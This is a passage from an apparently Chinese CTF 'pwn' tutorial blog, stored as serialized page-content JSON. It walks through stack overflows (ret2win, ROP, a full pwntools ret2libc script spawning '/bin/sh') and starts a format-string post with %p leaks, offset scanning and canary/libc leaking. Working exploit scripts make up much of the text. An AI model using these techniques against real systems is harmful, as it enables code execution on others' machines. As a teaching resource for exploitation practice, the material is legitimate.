可交互。\n",[30,7093,7094,7098,7102,7106,7110,7114,7118,7123,7127,7132,7137,7141,7145],{"__ignoreMap":28},[33,7095,7096],{"class":35,"line":36},[33,7097,1716],{},[33,7099,7100],{"class":35,"line":47},[33,7101,1460],{"emptyLinePlaceholder":1373},[33,7103,7104],{"class":35,"line":70},[33,7105,1806],{},[33,7107,7108],{"class":35,"line":80},[33,7109,1725],{},[33,7111,7112],{"class":35,"line":452},[33,7113,1460],{"emptyLinePlaceholder":1373},[33,7115,7116],{"class":35,"line":458},[33,7117,1968],{},[33,7119,7120],{"class":35,"line":464},[33,7121,7122],{},"# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\n",[33,7124,7125],{"class":35,"line":470},[33,7126,1983],{},[33,7128,7129],{"class":35,"line":476},[33,7130,7131],{},"# b'A'*40：填充缓冲区与 saved rbp。\n",[33,7133,7134],{"class":35,"line":482},[33,7135,7136],{},"# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\n",[33,7138,7139],{"class":35,"line":1295},[33,7140,1909],{},[33,7142,7143],{"class":35,"line":1301},[33,7144,1997],{},[33,7146,7147],{"class":35,"line":1505},[33,7148,7149],{},"# interactive()：把终端接到进程，shell 可交互。\n",[16,7151,4503],{},[23,7153,7154],{"className":25,"code":2124,"language":27,"meta":28,"style":28},[30,7155,7156],{"__ignoreMap":28},[33,7157,7158,7160],{"class":35,"line":36},[33,7159,2131],{"class":39},[33,7161,2134],{"class":43},[16,7163,2010],{},[23,7165,7168],{"className":7166,"code":7167,"language":175,"meta":28},[173],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n",[30,7169,7167],{"__ignoreMap":28},[16,7171,7172,7173,7175,7176,2303,7178,981,7180,7182,7183,2303,7185,7187],{},"执行过程：",[30,7174,1392],{}," 把 48 字节写入 buf → 前 40 字节填满 buf+saved rbp → 后 8 字节覆盖返回地址为 ",[30,7177,1682],{},[30,7179,1692],{},[30,7181,6721],{}," 跳到 ",[30,7184,1682],{},[30,7186,2026],{}," 弹 shell。",[11,7189,7191],{"id":7190},"七进阶nx-与-rop","七、进阶：NX 与 ROP",[16,7193,7194,7195,7197],{},"NX 开启后栈不可执行，但代码段可执行。ROP（Return-Oriented Programming）把程序里已有的、以 ",[30,7196,6721],{}," 结尾的指令片段（gadget）串起来执行。",[16,7199,7200],{},"找 gadget：",[23,7202,7204],{"className":25,"code":7203,"language":27,"meta":28,"style":28},"ROPgadget --binary ./vuln | grep \"pop rdi\"\n",[30,7205,7206],{"__ignoreMap":28},[33,7207,7208,7211,7214,7217,7219,7221,7223,7226],{"class":35,"line":36},[33,7209,7210],{"class":39},"ROPgadget",[33,7212,7213],{"class":241}," --binary",[33,7215,7216],{"class":43}," ./vuln",[33,7218,400],{"class":56},[33,7220,403],{"class":39},[33,7222,3518],{"class":412},[33,7224,7225],{"class":43},"pop rdi",[33,7227,3524],{"class":412},[16,7229,169],{},[23,7231,7234],{"className":7232,"code":7233,"language":175,"meta":28},[173],"0x0000000000401233 : pop rdi ; ret\n",[30,7235,7233],{"__ignoreMap":28},[16,7237,7238,7241,7242,7245,7246,7248],{},[30,7239,7240],{},"pop rdi; ret"," 的作用：把栈上的下一个 8 字节弹进 ",[30,7243,7244],{},"rdi","（x86-64 的第一个参数寄存器），然后 ",[30,7247,6721],{}," 跳到下个地址。栈上布局：",[23,7250,7253],{"className":7251,"code":7252,"language":175,"meta":28},[173],"[pop rdi; ret] [参数] [要调用的函数] [下一 gadget] ...\n",[30,7254,7252],{"__ignoreMap":28},[11,7256,7258],{"id":7257},"八进阶ret2libc","八、进阶：ret2libc",[16,7260,7261,7263,7264,301],{},[136,7262,138],{},"：程序内没有目标函数时，改调 libc 的 ",[30,7265,2026],{},[16,7267,7268,7270],{},[136,7269,144],{},"：ASLR 让 libc 基址随机，但\"符号在 libc 内的偏移\"固定。先泄露一个已知符号（puts）的真实地址，反推基址，再计算 system 与 \"/bin/sh\" 的地址。验证方式：第一段打印出的 puts 地址与 libc 文件里查到的偏移做差，得到的基址应当是 0x...000 结尾。",[16,7272,7273,7274,7276,7277,7279],{},"程序里没有 ",[30,7275,1682],{}," 时，改调 libc 里的 ",[30,7278,2026],{},"。libc 基址被 ASLR 随机化，解决方法是\"先泄露，再计算\"。",[147,7281,7283],{"id":7282},"_81-原理","8.1 原理",[23,7285,7288],{"className":7286,"code":7287,"language":175,"meta":28},[173],"泄露 puts 的真实地址（调用 puts(puts@got)）\nlibc 基址 = puts 真实地址 - puts 在 libc 中的偏移\nsystem 地址 = libc 基址 + system 偏移\n\"/bin/sh\" 地址 = libc 基址 + 字符串偏移\n",[30,7289,7287],{"__ignoreMap":28},[147,7291,7293],{"id":7292},"_82-完整脚本","8.2 完整脚本",[23,7295,7297],{"className":1238,"code":7296,"language":1240,"meta":28,"style":28},"from pwn import *\n\ncontext.log_level = 'error'\n# 只显示错误，减少调试信息刷屏。\n\nelf = ELF('./vuln')\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\np = process('./vuln')\n\noffset = 40\npop_rdi = 0x401233 # ROPgadget 搜到的 \"pop rdi; ret\" 地址\nret = 0x40101a # 任意 \"ret\" 地址，用于栈 16 字节对齐\n\n# 第一阶段：泄露 puts 地址并返回 main\npayload1 = b'A' * offset\npayload1 += p64(ret)\n# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\npayload1 += p64(pop_rdi)\npayload1 += p64(elf.got['puts'])\n# got['puts']：GOT 里存放 puts 真实地址的内存位置。\npayload1 += p64(elf.plt['puts'])\n# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\npayload1 += p64(elf.symbols['main'])\n# 回到 main，让程序再读一次输入，进行第二阶段。\n\np.recvuntil(b'name?')\np.sendline(payload1)\n\nleak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n# recvline()：读一行（puts 输出后带换行）。\n# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n# u64()：8 字节小端转成整数，即 puts 的真实地址。\nprint(\"puts:\", hex(leak))\n\nlibc.address = leak - libc.symbols['puts']\n# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n# 后面的 libc.symbols['system'] 会自动加上基址。\nprint(\"libc base:\", hex(libc.address))\n\n# 第二阶段：system(\"/bin/sh\")\npayload2 = b'A' * offset\npayload2 += p64(ret)\npayload2 += p64(pop_rdi)\npayload2 += p64(next(libc.search(b'/bin/sh')))\n# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\npayload2 += p64(libc.symbols['system'])\n# 调用 system(\"/bin/sh\")。\n\np.sendlineafter(b'name?', payload2)\n# sendlineafter：先等提示再发送，保证时序正确。\np.interactive()\n",[30,7298,7299,7303,7307,7312,7317,7321,7325,7330,7335,7339,7343,7347,7352,7357,7361,7366,7371,7376,7381,7386,7391,7396,7401,7406,7411,7416,7420,7424,7429,7433,7438,7443,7448,7453,7458,7462,7467,7472,7478,7484,7490,7495,7501,7507,7513,7519,7525,7531,7537,7543,7549,7554,7560,7566],{"__ignoreMap":28},[33,7300,7301],{"class":35,"line":36},[33,7302,1716],{},[33,7304,7305],{"class":35,"line":47},[33,7306,1460],{"emptyLinePlaceholder":1373},[33,7308,7309],{"class":35,"line":70},[33,7310,7311],{},"context.log_level = 'error'\n",[33,7313,7314],{"class":35,"line":80},[33,7315,7316],{},"# 只显示错误，减少调试信息刷屏。\n",[33,7318,7319],{"class":35,"line":452},[33,7320,1460],{"emptyLinePlaceholder":1373},[33,7322,7323],{"class":35,"line":458},[33,7324,1806],{},[33,7326,7327],{"class":35,"line":464},[33,7328,7329],{},"libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n",[33,7331,7332],{"class":35,"line":470},[33,7333,7334],{},"# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\n",[33,7336,7337],{"class":35,"line":476},[33,7338,1725],{},[33,7340,7341],{"class":35,"line":482},[33,7342,1460],{"emptyLinePlaceholder":1373},[33,7344,7345],{"class":35,"line":1295},[33,7346,7063],{},[33,7348,7349],{"class":35,"line":1301},[33,7350,7351],{},"pop_rdi = 0x401233 # ROPgadget 搜到的 \"pop rdi; ret\" 地址\n",[33,7353,7354],{"class":35,"line":1505},[33,7355,7356],{},"ret = 0x40101a # 任意 \"ret\" 地址，用于栈 16 字节对齐\n",[33,7358,7359],{"class":35,"line":1511},[33,7360,1460],{"emptyLinePlaceholder":1373},[33,7362,7363],{"class":35,"line":1517},[33,7364,7365],{},"# 第一阶段：泄露 puts 地址并返回 main\n",[33,7367,7368],{"class":35,"line":1523},[33,7369,7370],{},"payload1 = b'A' * offset\n",[33,7372,7373],{"class":35,"line":1529},[33,7374,7375],{},"payload1 += p64(ret)\n",[33,7377,7378],{"class":35,"line":1535},[33,7379,7380],{},"# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\n",[33,7382,7383],{"class":35,"line":1541},[33,7384,7385],{},"payload1 += p64(pop_rdi)\n",[33,7387,7388],{"class":35,"line":2981},[33,7389,7390],{},"payload1 += p64(elf.got['puts'])\n",[33,7392,7393],{"class":35,"line":2987},[33,7394,7395],{},"# got['puts']：GOT 里存放 puts 真实地址的内存位置。\n",[33,7397,7398],{"class":35,"line":2993},[33,7399,7400],{},"payload1 += p64(elf.plt['puts'])\n",[33,7402,7403],{"class":35,"line":2999},[33,7404,7405],{},"# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\n",[33,7407,7408],{"class":35,"line":3005},[33,7409,7410],{},"payload1 += p64(elf.symbols['main'])\n",[33,7412,7413],{"class":35,"line":4070},[33,7414,7415],{},"# 回到 main，让程序再读一次输入，进行第二阶段。\n",[33,7417,7418],{"class":35,"line":4076},[33,7419,1460],{"emptyLinePlaceholder":1373},[33,7421,7422],{"class":35,"line":4081},[33,7423,1968],{},[33,7425,7426],{"class":35,"line":4461},[33,7427,7428],{},"p.sendline(payload1)\n",[33,7430,7431],{"class":35,"line":4467},[33,7432,1460],{"emptyLinePlaceholder":1373},[33,7434,7435],{"class":35,"line":4473},[33,7436,7437],{},"leak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n",[33,7439,7440],{"class":35,"line":4479},[33,7441,7442],{},"# recvline()：读一行（puts 输出后带换行）。\n",[33,7444,7445],{"class":35,"line":4485},[33,7446,7447],{},"# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n",[33,7449,7450],{"class":35,"line":4491},[33,7451,7452],{},"# u64()：8 字节小端转成整数，即 puts 的真实地址。\n",[33,7454,7455],{"class":35,"line":4497},[33,7456,7457],{},"print(\"puts:\", hex(leak))\n",[33,7459,7460],{"class":35,"line":5938},[33,7461,1460],{"emptyLinePlaceholder":1373},[33,7463,7464],{"class":35,"line":5944},[33,7465,7466],{},"libc.address = leak - libc.symbols['puts']\n",[33,7468,7469],{"class":35,"line":5949},[33,7470,7471],{},"# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n",[33,7473,7475],{"class":35,"line":7474},38,[33,7476,7477],{},"# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n",[33,7479,7481],{"class":35,"line":7480},39,[33,7482,7483],{},"# 后面的 libc.symbols['system'] 会自动加上基址。\n",[33,7485,7487],{"class":35,"line":7486},40,[33,7488,7489],{},"print(\"libc base:\", hex(libc.address))\n",[33,7491,7493],{"class":35,"line":7492},41,[33,7494,1460],{"emptyLinePlaceholder":1373},[33,7496,7498],{"class":35,"line":7497},42,[33,7499,7500],{},"# 第二阶段：system(\"/bin/sh\")\n",[33,7502,7504],{"class":35,"line":7503},43,[33,7505,7506],{},"payload2 = b'A' * offset\n",[33,7508,7510],{"class":35,"line":7509},44,[33,7511,7512],{},"payload2 += p64(ret)\n",[33,7514,7516],{"class":35,"line":7515},45,[33,7517,7518],{},"payload2 += p64(pop_rdi)\n",[33,7520,7522],{"class":35,"line":7521},46,[33,7523,7524],{},"payload2 += p64(next(libc.search(b'/bin/sh')))\n",[33,7526,7528],{"class":35,"line":7527},47,[33,7529,7530],{},"# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n",[33,7532,7534],{"class":35,"line":7533},48,[33,7535,7536],{},"# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\n",[33,7538,7540],{"class":35,"line":7539},49,[33,7541,7542],{},"payload2 += p64(libc.symbols['system'])\n",[33,7544,7546],{"class":35,"line":7545},50,[33,7547,7548],{},"# 调用 system(\"/bin/sh\")。\n",[33,7550,7552],{"class":35,"line":7551},51,[33,7553,1460],{"emptyLinePlaceholder":1373},[33,7555,7557],{"class":35,"line":7556},52,[33,7558,7559],{},"p.sendlineafter(b'name?', payload2)\n",[33,7561,7563],{"class":35,"line":7562},53,[33,7564,7565],{},"# sendlineafter：先等提示再发送，保证时序正确。\n",[33,7567,7569],{"class":35,"line":7568},54,[33,7570,1997],{},[16,7572,7573],{},"运行输出：",[23,7575,7578],{"className":7576,"code":7577,"language":175,"meta":28},[173],"puts: 0x7f8a2c3a5aa0\nlibc base: 0x7f8a2c328000\n[*] Switching to interactive mode\n$ id\n",[30,7579,7577],{"__ignoreMap":28},[147,7581,7583],{"id":7582},"_83-三个易错点","8.3 三个易错点",[789,7585,7586,7606,7621],{},[792,7587,7588,561,7591,7594,7595,7598,7599,7602,7603,301],{},[136,7589,7590],{},"补零",[30,7592,7593],{},"puts"," 输出的地址以换行结尾，",[30,7596,7597],{},"strip()"," 去掉换行，",[30,7600,7601],{},"ljust(8, b'\\x00')"," 补到 8 字节再 ",[30,7604,7605],{},"u64",[792,7607,7608,561,7611,7614,7615,7618,7619,301],{},[136,7609,7610],{},"对齐",[30,7612,7613],{},"system"," 内部使用 ",[30,7616,7617],{},"movaps","，要求栈 16 字节对齐，需要额外一个 ",[30,7620,6721],{},[792,7622,7623,7626,7627,7630],{},[136,7624,7625],{},"libc 版本","：远程题目若提供 libc，用 ",[30,7628,7629],{},"libc = ELF('./libc-2.27.so')","；否则在 libc.rip 输入泄露的地址查版本。",[11,7632,7634],{"id":7633},"九必学工具","九、必学工具",[490,7636,7637,7647],{},[493,7638,7639],{},[496,7640,7641,7643,7645],{},[499,7642,1047],{},[499,7644,2042],{},[499,7646,2045],{},[506,7648,7649,7667,7679],{},[496,7650,7651,7653,7665],{},[511,7652,2052],{},[511,7654,7655,264,7657,1125,7659,264,7661,2067,7663],{},[30,7656,2057],{},[30,7658,1705],{},[30,7660,2063],{},[30,7662,1919],{},[30,7664,2070],{},[511,7666,2074],{},[496,7668,7669,7671,7674],{},[511,7670,7210],{},[511,7672,7673],{},"搜索 gadget、指定寄存器、输出地址",[511,7675,7676],{},[30,7677,7678],{},"ROPgadget --binary vuln | grep \"pop rdi\"",[496,7680,7681,7684,7687],{},[511,7682,7683],{},"GDB（pwndbg）",[511,7685,7686],{},"断点、看栈、查看崩溃点",[511,7688,7689,264,7691,264,7693],{},[30,7690,2100],{},[30,7692,2103],{},[30,7694,7695],{},"bt",[11,7697,7699],{"id":7698},"十小-ctf-实战","十、小 CTF 实战",[16,7701,1136,7702,7704,7705,7707,7708,7710],{},[30,7703,2115],{}," 运行 ",[30,7706,1692],{},"（No canary、No PIE，有 ",[30,7709,1682],{},"）。",[23,7712,7714],{"className":1238,"code":7713,"language":1240,"meta":28,"style":28},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[30,7715,7716,7720,7724,7728,7732,7736,7740,7744,7748],{"__ignoreMap":28},[33,7717,7718],{"class":35,"line":36},[33,7719,1716],{},[33,7721,7722],{"class":35,"line":47},[33,7723,1460],{"emptyLinePlaceholder":1373},[33,7725,7726],{"class":35,"line":70},[33,7727,1806],{},[33,7729,7730],{"class":35,"line":80},[33,7731,1859],{},[33,7733,7734],{"class":35,"line":452},[33,7735,1460],{"emptyLinePlaceholder":1373},[33,7737,7738],{"class":35,"line":458},[33,7739,1983],{},[33,7741,7742],{"class":35,"line":464},[33,7743,1909],{},[33,7745,7746],{"class":35,"line":470},[33,7747,2203],{},[33,7749,7750],{"class":35,"line":476},[33,7751,1997],{},[16,7753,169],{},[23,7755,7757],{"className":7756,"code":2218,"language":175,"meta":28},[173],[30,7758,2218],{"__ignoreMap":28},[11,7760,7762],{"id":7761},"十一小结","十一、小结",[16,7764,7765,7766,7768,7769,7771],{},"栈溢出主线：",[30,7767,2079],{}," 判断防护 → ",[30,7770,1705],{}," 找偏移 → 覆盖返回地址。NX 出现后用 ROP，ASLR 出现后先泄露再计算。练熟 ret2win 与 ret2libc 即可覆盖大多数入门到中级 Pwn 题。",[1350,7773,7774],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":28,"searchDepth":47,"depth":47,"links":7776},[7777,7778,7779,7780,7781,7782,7783,7784,7785,7786,7787],{"id":6706,"depth":70,"text":6707},{"id":89,"depth":70,"text":90},{"id":1433,"depth":70,"text":1434},{"id":6886,"depth":70,"text":6887},{"id":1686,"depth":70,"text":1687},{"id":7082,"depth":70,"text":7083},{"id":7190,"depth":70,"text":7191},{"id":7257,"depth":70,"text":7258},{"id":7633,"depth":70,"text":7634},{"id":7698,"depth":70,"text":7699},{"id":7761,"depth":70,"text":7762},"栈溢出实践：编译与 checksec、cyclic 找偏移、ret2win 利用、PLT/GOT 与 ASLR 原理、ret2libc 泄露计算与完整脚本。",{"date":1366,"image":7790,"alt":7791,"tags":7792,"published":1373},"/blogs-img/blog8.png","栈溢出与 ROP 深入实战",[1370,1608,7793,1372],"栈溢出","/blogs/ctf-pwn-stack-overflow-rop-deep-dive",{"title":6701,"description":7788},"blogs/17. ctf-pwn-stack-overflow-rop-deep-dive","nXKz1FbP17Wgk_hN6NTnSqOWF8XUdJPumxZYT7_VJr8",{"id":7799,"title":7800,"body":7801,"description":8827,"extension":1364,"meta":8828,"navigation":1373,"ogImage":3260,"path":8832,"seo":8833,"stem":8834,"__hash__":8835},"content/blogs/18. ctf-pwn-format-string-deep-dive.md","格式化字符串深入实战：%p 泄露、偏移定位与 %n 任意写",{"type":8,"value":7802,"toc":8815},[7803,7807,7810,7825,7840,7857,7861,7866,7915,7936,7940,7945,7947,7956,7958,7964,7967,7973,7984,7992,7996,8001,8017,8020,8022,8030,8032,8038,8041,8047,8057,8124,8129,8160,8164,8169,8182,8190,8245,8298,8301,8310,8313,8317,8322,8337,8342,8348,8350,8363,8366,8409,8413,8424,8432,8438,8508,8541,8544,8623,8629,8658,8668,8670,8728,8732,8739,8748,8791,8793,8799,8801,8812],[11,7804,7806],{"id":7805},"一现实背景printf-的错误写法","一、现实背景：printf 的错误写法",[16,7808,7809],{},"C 程序员常写的输出代码：",[23,7811,7813],{"className":816,"code":7812,"language":818,"meta":28,"style":28},"printf(buf); // 错误：buf 被当成格式字符串\nprintf(\"%s\", buf); // 正确：buf 只是数据\n",[30,7814,7815,7820],{"__ignoreMap":28},[33,7816,7817],{"class":35,"line":36},[33,7818,7819],{},"printf(buf); // 错误：buf 被当成格式字符串\n",[33,7821,7822],{"class":35,"line":47},[33,7823,7824],{},"printf(\"%s\", buf); // 正确：buf 只是数据\n",[16,7826,7827,7828,7831,7832,7835,7836,7839],{},"当 ",[30,7829,7830],{},"buf"," 内容是 ",[30,7833,7834],{},"%p"," 时，",[30,7837,7838],{},"printf"," 会把它当格式说明符，去读取\"本不存在的参数\"——读到的是栈与寄存器上的值。这造成两类能力：",[7841,7842,7843,7851],"ul",{},[792,7844,7845,1125,7847,7850],{},[30,7846,7834],{},[30,7848,7849],{},"%s","：任意读（泄露内存）。",[792,7852,7853,7856],{},[30,7854,7855],{},"%n","：任意写（写入内存）。",[11,7858,7860],{"id":7859},"二漏洞程序与编译","二、漏洞程序与编译",[16,7862,7863,561],{},[30,7864,7865],{},"fmt.c",[23,7867,7869],{"className":816,"code":7868,"language":818,"meta":28,"style":28},"#include \u003Cstdio.h>\n\nint main() {\n char buf[100];\n setvbuf(stdout, NULL, _IONBF, 0);\n printf(\"> \");\n fgets(buf, sizeof(buf), stdin);\n printf(buf); // 漏洞\n return 0;\n}\n",[30,7870,7871,7875,7879,7883,7888,7892,7897,7902,7907,7911],{"__ignoreMap":28},[33,7872,7873],{"class":35,"line":36},[33,7874,1450],{},[33,7876,7877],{"class":35,"line":47},[33,7878,1460],{"emptyLinePlaceholder":1373},[33,7880,7881],{"class":35,"line":70},[33,7882,1508],{},[33,7884,7885],{"class":35,"line":80},[33,7886,7887],{}," char buf[100];\n",[33,7889,7890],{"class":35,"line":452},[33,7891,1514],{},[33,7893,7894],{"class":35,"line":458},[33,7895,7896],{}," printf(\"> \");\n",[33,7898,7899],{"class":35,"line":464},[33,7900,7901],{}," fgets(buf, sizeof(buf), stdin);\n",[33,7903,7904],{"class":35,"line":470},[33,7905,7906],{}," printf(buf); // 漏洞\n",[33,7908,7909],{"class":35,"line":476},[33,7910,1538],{},[33,7912,7913],{"class":35,"line":482},[33,7914,1475],{},[23,7916,7918],{"className":25,"code":7917,"language":27,"meta":28,"style":28},"gcc -o fmt fmt.c -fno-stack-protector -no-pie\n",[30,7919,7920],{"__ignoreMap":28},[33,7921,7922,7924,7926,7929,7932,7934],{"class":35,"line":36},[33,7923,1556],{"class":39},[33,7925,1559],{"class":241},[33,7927,7928],{"class":43}," fmt",[33,7930,7931],{"class":43}," fmt.c",[33,7933,1568],{"class":241},[33,7935,1571],{"class":241},[11,7937,7939],{"id":7938},"三核心步骤-1p-泄露","三、核心步骤 1：%p 泄露",[16,7941,7942,7944],{},[136,7943,138],{},"：用最便宜的测试确认漏洞，并观察\"输入本身出现在参数列表里\"这一关键事实。",[16,7946,4503],{},[23,7948,7950],{"className":25,"code":7949,"language":27,"meta":28,"style":28},"./fmt\n",[30,7951,7952],{"__ignoreMap":28},[33,7953,7954],{"class":35,"line":36},[33,7955,7949],{"class":39},[16,7957,153],{},[23,7959,7962],{"className":7960,"code":7961,"language":175,"meta":28},[173],"%p.%p.%p.%p.%p.%p\n",[30,7963,7961],{"__ignoreMap":28},[16,7965,7966],{},"实际输出（本机 arm64 实测，Linux x86-64 输出形式一致、地址值不同）：",[23,7968,7971],{"className":7969,"code":7970,"language":175,"meta":28},[173],"> 0xfffffffffffffff0.0x16d8b6c48.0x40000000.0x70252e70252e7025.0x252e70252e70252e.0x100000a70\n",[30,7972,7970],{"__ignoreMap":28},[16,7974,7975,7976,7979,7980,7983],{},"出现一堆十六进制地址，漏洞确认。注意第 4、5 个值里有 ",[30,7977,7978],{},"0x70252e70","，正是 ",[30,7981,7982],{},"%p.%p"," 的 ASCII 字节——说明我们的输入本身也在参数列表里。",[16,7985,7986,561,7989,7991],{},[136,7987,7988],{},"为什么能泄露",[30,7990,7838],{}," 按格式串逐个取参数。我们没传参数，它就继续往寄存器/栈上读\"不存在的参数\"，读到的都是内存里的真实值。",[11,7993,7995],{"id":7994},"四核心步骤-2偏移定位","四、核心步骤 2：偏移定位",[16,7997,7998,8000],{},[136,7999,138],{},"：确定\"我们的输入位于第几个参数\"，这是所有精确利用的前提。",[16,8002,8003,8005,8006,8008,8009,8012,8013,8016],{},[136,8004,144],{},"：在输入开头放 4 个 ",[30,8007,1923],{},"，用 ",[30,8010,8011],{},"%N$p"," 逐个位置试探；哪个位置输出 ",[30,8014,8015],{},"0x41414141","，哪个位置就是输入起点。",[16,8018,8019],{},"要精确利用，需要知道\"我们的输入位于第几个参数\"。",[16,8021,4503],{},[23,8023,8024],{"className":25,"code":7949,"language":27,"meta":28,"style":28},[30,8025,8026],{"__ignoreMap":28},[33,8027,8028],{"class":35,"line":36},[33,8029,7949],{"class":39},[16,8031,153],{},[23,8033,8036],{"className":8034,"code":8035,"language":175,"meta":28},[173],"AAAA.%6$p\n",[30,8037,8035],{"__ignoreMap":28},[16,8039,8040],{},"预期输出（Linux x86-64 典型情况）：",[23,8042,8045],{"className":8043,"code":8044,"language":175,"meta":28},[173],"> AAAA.0x41414141\n",[30,8046,8044],{"__ignoreMap":28},[16,8048,8049,8050,8052,8053,8056],{},"出现 ",[30,8051,8015],{},"（",[30,8054,8055],{},"AAAA"," 的十六进制），说明 buf 起始位置是第 6 个参数，偏移 = 6。不同程序偏移不同（常见 6-10），确认方法就是逐个数：",[23,8058,8060],{"className":1238,"code":8059,"language":1240,"meta":28,"style":28},"from pwn import *\n\nfor i in range(1, 15):\n p = process('./fmt')\n p.recvuntil(b'> ')\n p.sendline(f'AAAA.%{i}$p'.encode())\n # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n # .encode()：字符串转成字节串才能 sendline。\n out = p.recvall()\n if b'0x41414141' in out:\n # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n print(f'offset = {i}')\n break\n",[30,8061,8062,8066,8070,8075,8080,8085,8090,8095,8100,8105,8110,8115,8120],{"__ignoreMap":28},[33,8063,8064],{"class":35,"line":36},[33,8065,1716],{},[33,8067,8068],{"class":35,"line":47},[33,8069,1460],{"emptyLinePlaceholder":1373},[33,8071,8072],{"class":35,"line":70},[33,8073,8074],{},"for i in range(1, 15):\n",[33,8076,8077],{"class":35,"line":80},[33,8078,8079],{}," p = process('./fmt')\n",[33,8081,8082],{"class":35,"line":452},[33,8083,8084],{}," p.recvuntil(b'> ')\n",[33,8086,8087],{"class":35,"line":458},[33,8088,8089],{}," p.sendline(f'AAAA.%{i}$p'.encode())\n",[33,8091,8092],{"class":35,"line":464},[33,8093,8094],{}," # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n",[33,8096,8097],{"class":35,"line":470},[33,8098,8099],{}," # .encode()：字符串转成字节串才能 sendline。\n",[33,8101,8102],{"class":35,"line":476},[33,8103,8104],{}," out = p.recvall()\n",[33,8106,8107],{"class":35,"line":482},[33,8108,8109],{}," if b'0x41414141' in out:\n",[33,8111,8112],{"class":35,"line":1295},[33,8113,8114],{}," # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n",[33,8116,8117],{"class":35,"line":1301},[33,8118,8119],{}," print(f'offset = {i}')\n",[33,8121,8122],{"class":35,"line":1505},[33,8123,2672],{},[16,8125,169,8126,301],{},[30,8127,8128],{},"offset = 6",[16,8130,8131,8132,8135,8136,8138,8139,8141,8142,8145,8146,8149,8150,8145,8153,710,8156,8159],{},"为什么从 6 开始：x86-64 调用约定前 6 个整数参数用寄存器（",[30,8133,8134],{},"rdi, rsi, rdx, rcx, r8, r9","），",[30,8137,7838],{}," 自己占 ",[30,8140,7244],{},"，所以 ",[30,8143,8144],{},"%1$p"," 到 ",[30,8147,8148],{},"%5$p"," 对应 ",[30,8151,8152],{},"rsi",[30,8154,8155],{},"r9",[30,8157,8158],{},"%6$p"," 开始读栈。",[11,8161,8163],{"id":8162},"五核心步骤-3泄露-canary-与-libc","五、核心步骤 3：泄露 canary 与 libc",[16,8165,8166,8168],{},[136,8167,138],{},"：把栈上的关键保护值（canary）与库地址（libc）泄露出来，供后续利用。",[16,8170,8171,8173,8174,8177,8178,8181],{},[136,8172,144],{},"：不同数据在栈上有固定特征——canary 以 ",[30,8175,8176],{},"00"," 结尾，libc 地址以 ",[30,8179,8180],{},"0x7f"," 开头。扫描一段偏移后按特征识别。",[16,8183,797,8184,8145,8186,8189],{},[30,8185,8158],{},[30,8187,8188],{},"%40$p"," 全部打出来，识别特征值：",[490,8191,8192,8202],{},[493,8193,8194],{},[496,8195,8196,8199],{},[499,8197,8198],{},"值特征",[499,8200,8201],{},"内容",[506,8203,8204,8215,8226,8236],{},[496,8205,8206,8212],{},[511,8207,8208,8209,8211],{},"以 ",[30,8210,8176],{}," 结尾的随机值",[511,8213,8214],{},"canary",[496,8216,8217,8223],{},[511,8218,8219,8222],{},[30,8220,8221],{},"0x7fff"," 开头",[511,8224,8225],{},"栈地址",[496,8227,8228,8233],{},[511,8229,8230,8222],{},[30,8231,8232],{},"0x55/0x56",[511,8234,8235],{},"程序代码地址（PIE 基址相关）",[496,8237,8238,8242],{},[511,8239,8240,8222],{},[30,8241,8180],{},[511,8243,8244],{},"libc 地址",[23,8246,8248],{"className":1238,"code":8247,"language":1240,"meta":28,"style":28},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\np.sendline(payload)\nout = p.recvall().decode().split('.')\n# 